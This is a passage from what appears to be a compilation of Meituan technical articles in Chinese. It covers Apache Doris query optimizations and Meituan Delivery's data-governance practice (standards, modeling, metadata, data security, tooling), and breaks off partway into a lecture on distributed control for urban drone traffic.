甚至上百倍的提升，因为 t2 表参与 Scan 和 Join 的数据量会显著减少。

查询执行多实例并发优化

如上图所示，Doris 默认在每个节点上为每个算子只会生成 1 个执行实例。这样的

话，如果数据量很大，每个执行实例的算子就需要处理大量的数据，而且无法充分利

用集群的 CPU、IO、内存等资源。

一个比较容易想到的优化手段是，我们可以在每个节点上为每个算子生成多个执行实

例。这样每个算子只需要处理少量数据，而且多个执行实例可以并行执行。

下图是并发度设置为 5 的优化效果，可以看到对于多种类型的查询，会有 3 到 5 倍的

查询性能提升：
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Colocate	Join

Colocate Join（Local Join）是和 Shuffle Join、Broadcast Join 相对的概念，即将

两表的数据提前按照 Join Key Shard，这样在 Join 执行时就没有数据网络传输的开

销，两表可以直接在本地进行 Join。

整个Colocate	Join 在 Doris 中实现的关键点如下：

 ● 数据导入时保证数据本地性。

 ● 查询调度时保证数据本地性。

 ● 数据 Balance 后保证数据本地性。

 ● 查询 Plan 的修改。

 ● Colocate Table 元数据的持久化和一致性。

 ● Hash Join 的粒度从 Server 粒度变为 Bucket 粒度。

 ● Colocate Join 的条件判定。

关于 Doris Colocate Join 的更多实现细节，可以参考《Apache Doris Colocate 

Join 原理与实践》。
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对于下面的 SQL，Doris Colocate Join 和 Shuffle Join 在不同数据量下的性能对比

如下：

select count(*) FROM A t1 INNER JOIN [shuffle] B t5    ON ((t1.dt = 
t5.dt) AND (t1.id = t5.id)) INNER JOIN [shuffle] C t6    ON ((t1.dt = 
t6.dt) AND (t1.id = t6.id)) where t1.dt in (xxx days);

Bitmap	精确去重

Doris 之前实现精确去重的方式是现场计算的，实现方法和 Spark、MapReduce

类似：

对于上图计算 PV 的 SQL，Doris 在计算时，会按照下图的方式进行计算，先根据

page 列和 user_id 列 group by，最后再 Count：
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图中是 6 行数据在 2 个 BE 节点上计算的示意图

显然，上面的计算方式，当数据量越来越大，到几十亿几百亿时，使用的 IO 资源、

CPU 资源、内存资源、网络资源会变得越来越多，查询也会变得越来越慢。

于是我们在 Doris 中新增了一种 Bitmap 聚合指标，数据导入时，相同维度列的数据

会使用 Bitmap 聚合。有了 Bitmap 后，Doris 中计算精确去重的方式如下：

可以看到，当使用 Bitmap 之后，之前的 PV 计算过程会大幅简化，现场查询时的 

IO、CPU、内存，网络资源也会显著减少，并且不再会随着数据规模而线性增加。
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总结与思考

在外卖运营分析的业务实践中，由于业务的复杂及应用场景的不同，没有哪一种数据

生产方案能够解决所有业务问题。数据库引擎技术的发展，为我们提供更多手段提升

数据建设方案。实践证明，以 Doris 引擎为驱动的 ROLAP 模式可以较好地处理汇

总与明细、变化维的历史回溯、非预设维的灵活应用、准实时的批处理等场景。而以

Kylin 为基础的 MOLAP 模式在处理增量业务分析，固化维度场景，通过预计算以空

间换时间方面依然重要。

业务方面，通过外卖数仓 Doris 的成功实践以及跨 BG 的交流，美团已经有更多的团

队了解并尝试使用 Doris 方案。而且在平台同学的共同努力下，引擎性能还有较大提

升空间，相信以 Doris 引擎为驱动的 ROLAP 模式会为美团的业务团队带来更大的收

益。从目前实践效果看，其完全有替代 Kylin、Druid、ES 等引擎的趋势。

目前，数据库技术进步飞速，近期柏睿数据发布全内存分布式数据库 RapidsDB 

v4.0 支持 TB 级毫秒响应（处理千亿数据可实现毫秒级响应）。可以预见，数据库技

术的进步将大大改善数仓的分层管理与应用支撑效率，业务将变得“定义即可见”，

也将极大地提升数据的价值。

参考资料
Doris 文档和源码

Apache Kylin VS Apache Doris

作者简介
朱良，美团外卖数据仓库工程师。

凯森，美团大数据工程师，Apache Kylin Committer。

招聘信息
美团外卖数据智能组长期招聘数据仓库、数据挖掘、机器学习、计算机视觉、搜索推荐算法工

程师，坐标北京。欢迎感兴趣的同学发送阅历到：tech@metuan.com（邮件标题注明：外卖数

据智能组）

https://github.com/apache/incubator-doris
https://blog.bcmeng.com/post/apache-kylin-vs-baidu-palo.html
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美团配送数据治理实践

作者：王鹏　家豪

大数据时代的到来，让越来越多的企业看到了数据资产的价值。将数据视为企业的重

要资产，已经成为业界的一种共识，企业也在快速探索应用场景和商业模式，并开始

建设技术平台。

但这里要特别强调一下，如果在大数据“拼图”中遗忘了数据治理，可能再多的技术

投入也是一种徒劳。因为没有数据治理这一环节，其带来后果往往是：随处可见的数

据不统一，难以提升的数据质量，难以完成的模型梳理，难以保障的数据安全等等，

源源不断的基础性数据问题会进一步产生，进而导致数据建设难以真正发挥其商业

价值。

因此，消除数据的不一致性，建立规范的数据标准，提高数据治理能力，实现数据安

全共享，并能够将数据作为企业的宝贵资产应用于业务、管理、战略决策中，发挥数

据资产价值变得尤为迫切和重要，数据治理呼之欲出。本文将介绍美团配送技术团队

在数据治理方面的一些探索和实践，希望能够对大家有所启发和帮助。

1. 如何理解数据治理

数据治理，从严格的定义来讲是对组织的大数据管理并利用其进行评估、指导和监督

的体系框架。企业通过制定战略方针、建立组织架构、明确职责分工等，实现数据的

风险可控、安全合规、绩效提升和价值创造，并提供创新的大数据服务。从个人实践

的层面来讲，数据治理是对存量数据治理和增量数据管控的一个过程，对存量数据实

现由乱到治、建章立制，对增量数据实现严格把控、行不逾矩的约束。

2. 要达成的目标

数据治理本身并不是目的，它只是实现组织战略目标的一个手段而已。从组织职能和
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体量大小方面来看，不同类型组织的数据治理目标大不相同，而基于目前美团配送数

据团队所处的组织职能和发展阶段来说，我们希望通过数据治理解决数据生产、管理

和使用过程中遇到的问题，完善已有的生产管理流程规范，保障数据安全和数据一致

性，从而促进数据在组织内无障碍地进行共享。

3. 何时进行数据治理

找准数据治理的切入点，是关乎数据治理成败的关键。很多同学会问，如果将数仓建

设分为数仓雏形阶段、数仓迭代阶段和能力沉淀阶段，数据治理应该在哪个阶段切入

为宜呢？其实，我们不该把数据治理看作是一个阶段性的项目，它应该是一个贯彻数

据建设各阶段的长期工程，只是在不同阶段根据业务特点和技术特点其覆盖的范围和

关注的目标有所不同而已。

在数仓雏形阶段，也就是美团配送业务刚成立时，在该阶段中业务有两个特点：第

一，重规模、快扩张；第二，业务变化快，数据需求多。为了快速响应业务的需求，

并能够保障数据交付结果的准确性，我们主要进行技术规范和指标口径的治理，在规

范治理方面，通过制定一系列研发规范来保障研发质量，并在实际建模过程中不断迭

代和完善我们的研发质量。在指标治理方面，我们对存量指标口径进行梳理，从而确

保指标口径对外输出一致。

在数仓迭代阶段，我们希望通过架构治理改变前期开发的“烟囱式”模型，消除冗

余，提升数据一致性。并且随着数仓中管理的数据越多，数据安全和成本问题也变得

越发重要。所以在该阶段，我们在产研层面逐步开展架构治理、资源治理和安全治

理。在架构治理方面，我们明确了数仓中各层和各主题的职责和边界，构建一致的基

础数据核心模型，并制定一系列的指标定义规范来确保指标的清晰定义，并基于业务

迭代来不断完善和迭代相应的模型和规范。在资源治理方面，我们通过对不同层级的

数据采用不同生命周期管理策略，确保用最少的存储成本来满足最大的业务需求。在

安全治理方面，我们通过制定一系列的数据安全规范来确保数据的使用安全。

在能力沉淀阶段，我们基于前两个阶段所做的业务和技术沉淀，将前期一系列规范形
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成标准，从业务到产研，自上而下地推动数据治理，并通过建立相应的组织、流程和

制度来保障标准在该阶段的全面落地实施，并通过建设数据治理平台来辅助更高质量

地执行标准。

4. 如何开展数据治理

从大的阶段来看，数据治理主要分为存量数据“由乱到治”的阶段，以及增量数据严

格按照规章制度实施确保“行不逾矩”的运营阶段。在“由乱到治”的过程中，我们

需要沉淀出规章制度、标准规范，以及辅以规章制度标准规范实施的工具和组织。在

增量数据的运营阶段，我们主要靠对应的组织确保规章制度的落实，通过审计定期考

察实施效果，并在长期的运营中不断完善规章制度。在实现存量数据“由乱到治”的

阶段，我们主要采取了“两步走”策略，具体执行策略如下所示。

4.1	定标准，提质量

第一步，主要围绕着业务标准、技术标准、数据安全标准和资源管理标准进行展开。

通过业务标准，指导一线团队完成指标的规范定义，最终达成业务对指标认知一致

性这一目标；然后通过技术标准来指导研发同学规范建模，从技术层面解决模型扩展

性差、冗余多等问题并保障数据一致性；通过安全标准来指导我们加强数据的安全管

控，确保数据拿不走、走不脱，针对敏感数据，用户看不懂；通过资源管理标准的制

定，帮助我们在事前做好资源预算，在事中做好资源管理，在事后做好账单管理。

4.1.1	业务标准

业务标准主要是指标的管理和运营标准，我们主要解决三个问题：指标由谁来定义，

指标该如何定义，指标该如何运营。基于这三个问题，我们同时提出了三条原则：

 ● 业务团队负责指标的定义。

 ● 产研商分负责给出指标定义标准和辅助工具，辅助业务团队完成指标的规范定

义，达成指标认知一致性这一目标。

 ● 最后由指标管理委员会负责指标的管理与运营，保障指标从创建、审核、上线



数据　<　669

以及到最后消亡的整个生命周期的运营。

为统一指标的定义，我们将指标分为原子指标、衍生指标和派生指标，原子指标通过

限定条件和时间的限定生成衍生指标。衍生指标间的“四则混合运算”构成了派生指

标。我们不但制定了指标的标准定义，还对其做了准确的资产归属，一个指标出自一

个具体的业务过程，一个业务过程归属于不同的数据域，多个数据域构成了美团配送

业务线下的分析场景，如下图所示：

指标定义标准

4.1.2	技术标准

这里所说的技术标准，主要是针对数据 RD 提出的建模标准和数据生产规范，通过建

模标准来明确数仓分层架构，并清晰定义每一层的边界与职责，采用维度建模的设计

理念。我们的整个仓库架构分为四层：操作层、基础事实层、中间层和应用层，并在

每一层同步制定对应的建模规范，如下图所示：
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数仓架构以及建模标准

除了建模标准外，我们还制定了涵盖从生产到运维环节的生产规范以保障模型的质

量，主要包括上线前的模型评审、生产过程中的完成元数据配置、DQC、SLA 和生

命周期设置以及上线后的日常运维机制等等。尤其针对元数据管理和生命周期管理，

我们分别制定了仓库每一层元数据维护规范和生命周期管理规范，其中元数据管理规

范，是依据数仓各层级中各种类型表的建模标准来制定，需要做到规范命名，明确数

据归属，并打通业务元数据和技术元数据之间的关系。而生命周期管理规范，是依据

配送业务特点和数仓各层级现状来制定的，如下表所示：

仓库各层元数据管理标准
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仓库各层生命周期管理策略

4.1.3	安全标准

围绕数据安全标准，首先要有数据的分级、分类标准，确保数据在上线前有着准确的

密级。第二，针对数据使用方，要有明确的角色授权标准，通过分级分类和角色授

权，来保障重要数据拿不走。第三，针对敏感数据，要有隐私管理标准，保障敏感数

据的安全存储，即使未授权用户绕过权限管理拿到敏感数据，也要确保其看不懂。第

四，通过制定审计标准，为后续的审计提供审计依据，确保数据走不脱。

安全标准建设
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4.1.4	资源管理标准

在资源管理方面，配送技术工程部已经对资源管理涉及的内容进行了合理抽象和准确

定义，抽象出租户、资源和项目组等概念。不管是后续的资源预算还是资源管理，我

们都需要基于租户和项目组来进行运营，因此，对于业务团队而言，我们只需要将租

户和项目组特定职能划分清楚，然后根据不同的职能归属我们的资产，并分配生产该

资产所需要的资源。为了方便后续的运营，我们对每个租户和项目组分配确定了责任

人，由责任人对运营结果负责。

对业务部门来说，资源管理的关键是对数据资产做清晰的分类，基于数据的分类划分

不同的租户和项目组，将数据和租户、项目组实现一一映射。由于租户和项目组都有

特定的责任人对其负责，因此，我们通过这种映射关系，不仅实现了资产的隔离，还

实现了资产确权（项目组负责人同时对资产负责和运营）。我们整体将数据分为两大

类，一是原始数据，包括流到数据中心的数据和日志中心的数据，针对流入数据中心

的数据，根据其产生的方式不同，又进一步分为业务数据和流量数据。二是加工数

据，对应着数据团队的仓库建设和其他团队的集市建设。基于上述的描述，针对资源

管理，我们做了如下划分和确权：

资源划分与管理
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4.2	重实施，保落实

第二步，落实第一步的标准，完成数据治理第一阶段的目标，实现存量数据“由乱

到治”，并完成相应组织和工具的建设，为实现第二阶段“行不逾矩”这一目标提

供工具和组织能力。在此过程中，主要分成三个方面的治理工作：第一，架构模型

“由乱到治”的治理，消除模型冗余、跨层引用和链路过长等问题，在架构上保证模

型的稳定性和数据一致性；第二，元数据“由乱到治”的治理，实现指标的标准定

义、技术元数据的完整采集并建立指标与表、字段的映射关系，彻底解决指标认知

一致性，以及用户在使用数据过程中的“找数难”等问题；第三，围绕着隐私安全

和共享安全加强数据的安全管控来实现数据走不脱、拿不走，以及隐私数据看不懂

这一目标。

4.2.1	架构治理

总结起来，架构方面的治理主要是解决两个问题：第一，模型的灵活性，避免需求变

更和业务迭代对核心模型带来的冲击，让 RD 深陷无休止的需求迭代中；第二，数据

一致性，消除因模型冗余、跨层引用等问题带来的数据一致性问题。

模型灵活性

配送解决的是效率、成本和体验三者之间的平衡问题，即在满足一定用户体验的条件

下，如何提升骑手配送效率，服务更多的商家，以及如何管控骑手，降低配送成本。

抽象到数据层面，基本上反映为上游包裹来源的变化、配送对外提供服务的变化以及

对内业务管控的变化。为屏蔽业务迭代给核心模型带来的冲击，我们通过对外封装包

裹属性和对内封装运单属性，抽象出包裹来源、提供服务、业务架构等一致性维度，

任何业务迭代在数据层面只涉及维度的调整，大大降低了对核心模型冲击和“烟囱

式”数据建设问题（新来一个业务，就拉起一个分支进行建设）。
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包裹事实分配到运单明细构造单一运单模型

配送指标体系建设的一个重点就是要输出各组织层级的规模、体验和效率指标，实现

对运力的有效管控，运力所属组织的层级关系会随业务的迭代而不断变化。为了适应

这种变化，避免仅仅因增加维度带来中间层数据的重复建设，我们将组织层级维表由

固定层级建模方式调整为桥接表的方式来自适配组织层级变化，从而实现了中间层模

型可以自动适配组织层级的变化，能自动产生新维度的指标。如下图所示：

桥接表自适配组织层级灵活变动

在精细化分析的场景下，业务会有分时段、分距离段以及分价格段的数据分析诉求。

我们以分时段为例，有晚高峰、午高峰、下午茶等不同的分时段，不同的业务方对同

一个时段的定义口径不同，即不同的业务方会有不同的分时段策略。为解决该场景下

的分析诉求，我们在事实表中消除退化维度，将原来封装到事实表的时段逻辑迁移到

维度表中，并将事实表中的时间进行按特定的间隔进行刻度化作为维表中的主键，将
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该主键作为事实表的外键。这样，针对业务不同的时间策略需要，我们就可以在维表

中进行配置，避免了重复调整事实表和反复刷数的问题。即通过将时间、价格、距离

事实刻度化，实现灵活维度分析。如下图所示：

通过将时间刻度化，实现灵活分析

数据一致性

数据一致性得不到保障的一个根本原因，是在建模的过程中没有实现业务口径标签

化，并将业务口径下沉到主题层。很多同学在基于需求进行开发时，为实现方便，将

新指标口径通过“Case When”的方式在应用层和中间层进行封装开发，主题层建

设不能随着业务的迭代不断完善，RD 在开发过程中会直接引用仓库的快照表在中间

层或应用层完成需求开发。久而久之，就会造成数据复用性低下，相同指标的口径封

装在不同的应用表来满足不同报表的需求，但随着应用的增多，很难保障相同指标在

不用应用表封装逻辑的一致性，数据一致性难以得到保障，同时这种方式还带来两个

严重后果：第一，跨层引用增多，数据复用性低下，造成计算和存储成本的浪费；第

二，一旦指标口径发生变化，将是一个“灾难”，不仅影响评估是一个问题，而且涉

及该指标的应用层逻辑调整对 RD 来说也是一个巨大的挑战。
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治理前模型架构

因此，我们在“由乱到治”的治理过程中，以衍生事实的方式实现业务口径标签化，

将业务逻辑下沉到主题层，消除跨层引用和模型冗余等问题，从技术层面保障数据一

致性是该阶段架构治理的重点。我们在业务上，已经划分了严格的数据域和业务过

程，在主题建设层面，将业务划分的数据域作为我们的主题，并基于业务过程进行维

度建模，将属于该业务过程的指标口径封装在对应业务过程下的衍生事实中。

治理后模型架构

4.2.2	元数据治理

元数据治理主要解决三个问题：首先，通过建立相应的组织、流程和工具，推动业务

标准的落地实施，实现指标的规范定义，消除指标认知的歧义；其次，基于业务现状

和未来的演进方式，对业务模型进行抽象，制定清晰的主题、业务过程和分析方向，

构建完备的技术元数据，对物理模型进行准确完善的描述，并打通技术元数据与业务

元数据的关系，对物理模型进行完备的刻画；第三，通过元数据建设，为使用数据提
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效，解决“找数、理解数、评估”难题以及“取数、数据可视化”等难题。

首先，为保障业务标准的顺利实施，实现业务对指标认知一致性这一目标。我们协同

产研、商分、业务部门推动成立了度量衡委员会，并建立起指标运营机制，通过组织

保障来实现指标运营按照规范的标准和流程实施。如下图所示：

指标注册流程

其次，基于配送业务的现状和未来演进方式，我们进行了高度的业务抽象，完成了主

题、业务过程和分析方向等元数据内容的建设。配送即物流，通过线上系统和线下运

营，我们将用户的配送需求和美团的运力进行有效的资源配置，实现高服务体验、低

成本的配送服务。对外，我们将配送服务通过平台化的方式，提供给用户、商户和电

商平台，以满足不同用户在不同业务场景下的配送需求。 对内，我们通过不同的调度

模式将运单池中的运单调度给合适的骑手来完成履约，平衡规模、成本和体验之间的

关系。如下图所示：

配送业务模式抽象
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基于以上的业务模式，我们划分了运单主题（对履约数据域下的数据进行构建，支撑

规模和体验的数据分析需求）、调度主题（调度数据域下产生的数据，用于支撑调度策

略的分析）、结算、评价、投诉、取消主题（用于支撑体验、成本数据分析需求）和管

控主题（用于支撑运力奖惩、违规和招募分析需求）等各种主题，并在每个主题下划

分对应的业务过程，在应用层制定分析方向的分析标签，通过对元数据内容的建设完

成对业务的抽象，为物理模型的刻画准备了基础数据。

第三，元数据服务建设，我们打通了元数据从采集到构建再到应用的整条链路，为使

用数据提效，解决“找数、理解数、评估”难题以及“取数、数据可视化”难题。在

整个建设过程中，我们围绕着元数据采集、元模型构建、元数据服务以及最后的产品

应用进行展开，整体架构如下图所示：

元数据建设架构图
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元数据采集

元数据采集分为人工录入和自动抽取，通过人工录入的方式实现物理表的准确归属

（包括该表属于仓库哪一层、对应的主题、业务过程、星型模型关系等）以及指标的采

集，从而完成技术元数据和业务元数据的采集，通过自动抽取的方式完成生产元数据

的采集和使用元数据的采集，主要包括：物理模型的依赖关系、存储占用、热度、等

信息。

元模型构建

分为以物理表为核心的基础元模型构建，以及以血缘为中心的血缘元模型。基础元模

型构建以物理表为中心，打通其与技术元数据（主题、业务过程、Schema）的关系，

实现了物理表的清晰归属，打通其与生产元数据的关系，为其加上了物理表查询热

度、资源消耗、查询密级等生产使用信息，打通其与指标、维度和应用的对应关系，

为上层的取数应用建立了完备的元数据。血缘元模型以血缘为中心，不仅构建了从上

游业务表到仓库离线表的物理血缘，而且打通了仓库离线表到下游对应报表的血缘，

为后续的影响评估构建了完备的元数据基础。

元数据服务

统一元数据服务（OneService），主要提供两类元数据服务，提供查询表、指标、维

度基本信息的基础元数据服务以及查询表级血缘、字段级血缘的血缘服务。

元数据应用

主要孵化出了三个产品，以“找数、理解数、影响评估”为应用场景的数据地图

（Wherehows），以“取数、数据可视化”为应用场景的数据可视化（QuickSight），

以及以管理审计为目的的管理审计报表。

4.2.3	安全治理

安全治理主要加强了敏感数据的安全治理和数据共享环节的安全治理。通过对隐私数

据的安全治理，不仅要保证其在存储环节的不可见性，而且还要保证在其使用环节对
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用户进行双重鉴权，字段的密级鉴权和解密的密钥鉴权；通过对数据共享环节的安全

治理，我们在数据分级分类的基础上，使数据的权限控制从表级权限控制扩展到行级

权限控制。

敏感数据安全治理

敏感数据的安全治理，主要是解决敏感数据的存储安全和使用安全。离线场景下，敏

感数据存储安全要解决两大挑战：

 ● 确保仓库侧处理方案既要屏蔽上游业务系统变动带来的影响，又要屏蔽自身策

略对下游 BI 系统的影响。

 ● 要避免敏感数据在整个加工链路中的扩散。

因此，为解决仓库处理方案与上游业务系统和下游 BI 系统的解耦问题，我们在上游

敏感数据落到 ODS 环节，确保落到 ODS 层的敏感数据必须是明文，为保障其安全，

对 ODS 层的所有数据进行文件加密，但是在使用层面，对下游链路透明保障下游链

路的正常生产，并限制 ODS 层数据权限的开放。ODS 层数据只用于安全生产，通

过此方案既屏蔽了上游处理方案对仓库的影响，又解决了敏感数据的安全问题。当数

据从离开仓库时，在传输环节对敏感数据进行可逆操作，将敏感数据以明文的形式推

入 BI 库，实现与下游 BI 系统的解耦。为解决敏感数据在整个生产链路的扩散，我

们在快照层对敏感数据进行脱敏处理，从快照层开始消除敏感数据，为保障敏感数据

的可逆性，将 ODS 层的敏感数据抽取到安全库中并进行加密存储，实现安全独立管

理。具体执行如下图所示：
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针对敏感数据的使用安全，我们通过对敏感字段的权限控制和对解密密钥的权限控

制，来实现敏感数据使用安全这一目标。针对单独抽取的敏感数据，我们除了针对敏

感数据设置其相应的密级确保敏感数据的权限管控外，还基于”暗语”的加密方式为

每个项目组分配一个相同的密钥，并且将该密钥存放到与 Hadoop 集群集成的 KMS

进行管理（确保支撑离线计算的高并发），确保解密时实现密钥的权限管控。

共享环节安全治理

针对共享环节的安全治理，我们主要是在数据生产环节完成数据的分级分类和数据确

权，在数据的使用环节完成数据的表级权限控制和行级权限控制。确保数据在使用环

节规范的审批流转，权限开放以后的安全审计，保证数据走不脱。

首先，我们在生产环节 B3、B2、B1 层数据按照主题或实体 C 层数据按照应用方向

进行逻辑划分，并设定资源的密级和权限负责人。特别地为实现 B3 层数据在查询环

节可按照业务线进行权限管控这一目标（即行级鉴权），针对 B3 层数据，我们标记该
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数据需要在查询环节进行行级权限管控，标记使用行级鉴权所需的字段和该字段对应

的枚举值。

其次，在使用环节，我们按照资产密级和使用人角色完成数据的审批流转，实现数据

的安全共享。

第三，针对 B3 层数据，审计是否设置了行级权限管控。在数据开放时是否存在越权

使用的情况，以及针对即将离职员工加强数据的使用审计，保证数据走不脱。

在数据“由乱到治”的治理过程中，我们不仅实现了存量数据的“由乱到治”，并且

在此过程中沉淀出了一系列的建模方法论、工具，并建立了相应的安全小组和指标运

营组织。同时，我们为后续增量数据治理确保数据建设“行不逾矩”，提供了强有力

的组织保障、稳定的辅助工具和严格的执行标准。在数据治理的第二阶段实现增量数

据的“行不逾矩”的过程中，我们主要围绕大数据架构审计、大数据安全与隐私管理

审计、大数据质量管理审计和大数据生命周期管理审计这四方面的工作展开，保障治

理工作的持续进行，不断提高了组织的治理水平。

5. 工具简介

5.1	数据地图（Wherehows）

数据地图作为元数据应用的一个产品，聚焦于数据使用者的“找数”场景，实现检索

数据和理解数据的“找数”诉求。我们通过对离线数据集和在线数据集的元数据刻

画，满足了用户找数和理解数的诉求，通过血缘图谱，完成物理表到产品的血缘建

设，消除用户人肉评估的痛苦。

离线数据场景

1. 关键字检索和向导查询共同解决了“找数据”的问题：大部分的检索数据场景下，

数据使用者都可以通过关键字检索来得到匹配结果。剩下的一小部分场景，例如，对

于新人入职后如何了解整个数仓和指标的体系（数仓分几层，每层解决什么问题，都

孵化出什么模型；整个指标、维度体系都是怎么分类，有哪些指标和维度），这部分场
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景可以使用向导查询功能。向导查询相当于分类查询，将表和指标按照业务过程进行

分类，用户可以按照分类逐步找到想要的表或指标。

2. 我们打通了业务元数据和技术元数据之间的关系，提高了“找数据”的能力：通

过“Wherehows”查找到指标后，不仅不可查看指标的业务定义，还能查看指标的

技术实现逻辑，指标在哪些维度或维度组合中已经实现，并且能够在哪张表里找到这

些维度，或维度组合的指标数据。反之，也可以知道在某个维度下已经实现了哪些指

标，对应的指标在哪些表里。这些功能能让用户更加方便地找到想要的数据。
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3. 我们提供了较为完善的数据信息，帮助用户更好理解数据：对于表的信息，

“Wherehows”除了提供表和字段的中英文名称、描述信息等基础信息外，为了帮

助用户更好地理解表的建设思路，我们还提供了表的星型模型（可以关联的一致性维

度及对应的维度表）、表的血缘关系等信息。
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4. 我们通过评论问答功能，帮助用户可以快速得到问题反馈：如果用户看了信息后还

是感到有问题，“Wherehows”提供评论问答的功能，用户通过这个功能可以进行

提问，会有相应的负责人进行回复。对于重复问反复问的问题，用户通过查看其它人

的提问和回复就能找到答案。并且负责人还会定期的将问答信息沉淀到对应的元数据

里，不断地对元数据进行补充和完善。

业务数据场景

业务数据场景主要想解决的一个问题是，如何知道一个业务表（MySQL 表）有没有

同步到数仓。如果没有同步，能够找谁进行同步。因为已经打通“业务表 -> 数仓表 

-> 产品”三者之间的血缘关系，我们能够轻松解决业务数据场景的问题。

生产评估场景

在日常数据生产工作中，我们经常需要对表进行影响评估、故障排查、链路分析等

工作，这些工作如果靠纯人工去做，费时费力。但现在我们已经打通了“业务表 / 字

段 -> 数仓表 / 字段 -> 产品”三者之间的血缘关系，就能够在 10 分钟内完成评估工

作。对于不同的场景，血缘链路提供了两个便捷的功能：过滤和剪枝。例如，某个表
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逻辑需要修改，需要看影响哪些下游表或产品？应该要通知哪些 RD 和 PM ？这种情

况下，血缘工具直观地显示影响了哪些负责人和产品，以及这个表的下游链路。
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有些表的链路很长，整个血缘关系图很大，这样会导致用户定位信息或问题。所以血

缘工具提供了剪枝的功能，对于没用的、不想看到的分支可以剪掉，从而让整个链路

变得更加直观。

5.2	数据可视化（QuickSight）

聚焦于数据使用者“取数”场景，使用 QuickSight，用户可以不再关心数据的来源，

不再担心数据的一致性，不再依赖 RD 的排期开发。通过所选即所得的方式，满足了

用户对业务核心指标的二次加工、报表和取数诉求。首先，我们通过指标池、数据集

等概念对离线生产的指标进行逻辑隔离，针对不同用户开发不同的数据集以达到权限

控制的目的，如下图所示：

用户、指标池与数据集间的关系

其次，我们为用户提供一系列的组件，帮助用户基于为其开放的数据集实现指标的

二次加工和数据可视化功能，满足其在不同业务场景下的取数和可视化应用。如下

图所示：
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指标加工组件

6. 总结与展望

经过三个阶段的治理工作，我们在各个方面都取得了较好的效果：

 ● 在数据标准方面，我们制定了业务标准、技术标准、安全标准、资源管理标

准，从而保障了数据生产、管理、使用合规。

 ● 在数据架构方面，我们通过桥接表、时间刻度化、业务口径下沉等手段提升模

型灵活性，并保障数据一致性，消除跨层引用和模型冗余等问题。

 ● 在数据安全方面，我们加强了对敏感数据和数据共享环节的安全治理，保证数

据拿不走、走不脱，隐私数据看不懂。
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 ● 在元数据建设方面，我们打通了从采集到构建再到应用的整条链路，并为数据

使用人员提供数据地图、数据可视化等元数据应用产品，帮助他们解决了“找

数”、“取数”、“影响评估”等难题。

未来，我们还会继续通过组织、规范、流程等手段持续对数据安全、资源利用、

数据质量等各方面进行治理，并在数据易用性上下功夫，持续降低用户的数据使

用成本。

 ● 在数据架构方面，随着数据库技术的飞速进步，现在已经有很多数据库能够支

持千万级乃至亿级数据的现算先用，我们也在尝试使用这些数据库帮助提升数

据开发效率，改善数仓分层管理和应用支撑效率。

 ● 在数据产品方面，我们将持续完善数据地图、数据可视化等数据应用产品，帮

助用户快速探查、高效分析，真正发挥数据的业务价值。

作者简介
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美团内部讲座｜北航全权：一种城市空中移动性管
理分布式控制框架

作者：全权

无人机交通以及最近兴起的空中移动性管理得到了广泛的关注。为此，波音、空客、

霍尼韦尔和贝尔等传统航空巨头以及 Uber 等新兴世界级影响力的企业纷纷加入。本

报告提出了空中高速公路方案以及仿真测试。该方案基于时空大数据，考虑了交通网

络、航线规划和分布式控制设计。在空中高速公路上，每架无人机都有自己的规划的

航线，可以自主地自由飞行，从而支持密集立体的飞行交通。

1. 背景

今天我给大家带来我们实验室（北航可靠飞行控制研究组）做的一些工作，主要内容

是讲一种城市空中移动性管理分布式控制框架。

相信美团的同学一定也很非常期待实现无人机配送的一天早日到来。未来无人机配送

服务将会极大地改变我们目前的生活方式。尽管在人群密集的区域，我们仍然需要靠

人来完成配送服务，但是在人口比较稀疏，比如郊区等地带，使用无人机配送会更

好。报告表明，网联无人机将为产业带来 7~10 倍的产业机会，这也是我们在大概三

年前就开始着手做这方面相关的工作的原因。

无人机的交通网和交通管理，是否可以利用现有的交通方式呢？我们通过研究发现，

像传统的民航网其实是不适合的，民航的飞行器其实非常稀疏，在三维空间，整个网

络的变化频率是比较低的，有入网申请时，基本上是通过集中式的规划。而公路网络

尽管很密集，但是二维空间，因此交通网络管理也是偏自主的。铁路同样也是二维

的。网络动态变化是说就像我们上互联网一样，我们需要接入网络，而公路不可能马

上为我们修一条公路出来。无人机交通与公路、铁路具有共同点，不同的是无人机处

于三维空间， 网络动态变化比较高。因此我们在设计无人机飞行控制框架时，希望设

http://rfly.buaa.edu.cn/index.html
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计一种能够适应包括无人机的增加、网络的扩展等变化的框架。关于路径规划，其实

可以采用集中式加自主的方式来进行。关于这部分的内容我们今年发表了一篇综述文

章《低空无人机交通管理概览与建议综述》，感兴趣的同学可以参阅。

我们希望能够为低空持续增长无人机及应用提供一个低空的智能大脑。对于技术研究

来说话，低空高空的区别没有那么大，但目前我们主要是考虑低空多一些。比如说开

放 120 米以下的低空，它的特点在于这些地方会有非常多的建筑，如果无人机掉下来

的话，会对下方区域的人身及财产安全造成一些危害，这是对我们城市交通的一个非

常大的挑战。因此我们主要考虑以下三个需求： - 规划无人机的航线、起飞时间，确

保无人机在避免冲突的前提下起飞：无人机航线起飞时间跟我们目前坐飞机的感觉是

一样的，有时候飞机会停在某个地方延迟起飞，目的是为了不与其他飞机在航路上发

生碰撞及冲突，当然有时候也会因为天气等原因，需要飞机延迟起飞，因为飞机在地

面等待，代价是最小的。 - 在避免碰撞的前提下顺利完成飞行任务 - 应对天气、禁

飞区等不确定因素的影响：无人机临时在飞行过程中，我们有时需要切断某些航线，

这种情况下，我们希望飞行器仍然能够能够飞到目的地，至少它能安全的回到附近的

机场。

2. 空中高速公路基础：网络和时空大数据

开展空中高速公路研究，我们需要有网络和时空大数据的一些研究基础。

http://hkxb.buaa.edu.cn/CN/10.7527/S1000-6893.2019.23238
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首先我们需要有通信、导航、监视功能等基础设施，这些功能充当着整个无人机交

通管理系统的眼睛、耳朵和神经系统，负责态势感知和信息传输。其中，通讯就是

4G/5G、卫星通讯等，这是我们的网络。导航是我们飞行器需要导航，比如说通过基

站定位、雷达、卫星、惯导以及视觉的导航。而监视跟导航的区别在于导航是给飞行

器用的，监视是我们作为官方需要了解飞行器在空中的动态。有些飞行器可能会自己

导航，通过导航或者通信告诉地下的地面站，这样的话我们可以监视。但有些飞行器

是航模，没有通讯的功能，只能被动的被看到，那么我们可以通过一些可见光、声波

等来监视，还有飞行器可能通过一些 ADS-B 等来广播自己的信息。因此通过以上这

些功能，可以实现我们对飞行器飞行周边环境的了解，地面对空中环境的了解，这是

我们做空中高速公路研究的一个基础。

另一方面，我们需要时空大数据的支撑。首先我们需要了解所有禁飞区，禁飞区也会

动态的变化。其次我们需要了解气象大数据，以便我们规划飞行器避开极端天气。同

